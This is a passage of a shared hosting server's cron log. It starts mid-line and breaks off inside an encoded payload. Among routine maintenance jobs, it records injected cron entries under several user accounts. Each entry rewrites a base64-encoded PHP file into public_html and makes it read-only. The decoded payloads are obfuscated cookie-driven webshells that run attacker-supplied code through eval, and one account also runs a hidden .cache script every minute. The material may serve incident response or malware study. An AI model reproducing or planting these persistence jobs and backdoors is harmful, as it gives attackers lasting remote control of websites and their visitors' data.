"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:34:02 medusa CROND[26251]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:34:02 medusa CROND[26255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:34:02 medusa CROND[26256]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:34:02 medusa CROND[26254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:34:02 medusa CROND[26259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:34:02 medusa CROND[26257]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:34:02 medusa CROND[26261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:34:02 medusa CROND[26296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:35:02 medusa CROND[28217]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 07:35:02 medusa CROND[28218]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:35:02 medusa CROND[28221]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:35:02 medusa CROND[28220]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:35:02 medusa CROND[28222]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28219]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:35:02 medusa CROND[28224]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:35:02 medusa CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:35:02 medusa CROND[28227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:35:02 medusa CROND[28239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:35:02 medusa CROND[28237]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:35:02 medusa CROND[28240]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28243]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:35:02 medusa CROND[28244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:35:02 medusa CROND[28254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28255]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:35:02 medusa CROND[28256]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28260]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:35:02 medusa CROND[28265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:35:02 medusa CROND[28262]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:35:02 medusa CROND[28268]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 07:35:02 medusa CROND[28269]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:35:02 medusa CROND[28263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:36:01 medusa CROND[30130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:36:01 medusa CROND[30139]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:36:01 medusa CROND[30140]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:36:01 medusa CROND[30141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:36:01 medusa CROND[30142]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:36:01 medusa CROND[30143]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:36:01 medusa CROND[30149]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:36:01 medusa CROND[30150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2V